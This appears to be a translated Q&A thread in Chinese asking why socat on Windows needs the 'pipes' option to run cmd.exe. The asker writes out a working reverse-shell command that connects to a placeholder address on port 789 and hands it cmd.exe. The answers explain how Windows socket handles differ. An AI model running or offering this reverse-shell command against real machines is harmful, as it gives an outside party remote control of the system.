WINDOWS 上的 SOCAT:为什么需要 EXEC 地址的管道选项?

WINDOWS 上的 SOCAT:为什么需要 EXEC 地址的管道选项?

尝试创建一个反向shell,我使用了这个我的windows框:
socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe'

失败并出现以下错误:“该过程试图写入不存在的管道。”

使用该pipes选项,它现在可以工作: socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe',pipes

我的问题是为什么pipes有必要?

我知道pipes选项将使用命名管道而不是默认的 UNIX 套接字。
假设在 Windows 实现中,默认行为有所不同

答案1

pipes选项用于强制 cmd.exe 或 powershell 使用 Unix 风格的标准输入和输出。

答案2

我无法讲述 cmd.exe 但可以讲述 bash.exe/sh.exe。

在 Windows 上,网络套接字有一个不允许read()调用的文件描述符。(请参阅https://stackoverflow.com/questions/4778043/winsock-not-supporting-read-write但在我的系统上write()似乎可以工作)

bash.exe 继承了该网络连接(一个文件描述符)并使用write()read()然后失败。在 Linux 中,这可以工作,请参阅https://man7.org/linux/man-pages/man2/recv.2.html

“recv() 和 read(2) 之间的唯一区别在于标志的存在。”

使用,pipessocat 调用将进入对两个未命名管道进行操作的双向复制循环。bash.exe 继承了这两个人工管道端(文件描述符)并且运行良好,因为对于管道您实际上可以使用read()write()

相关内容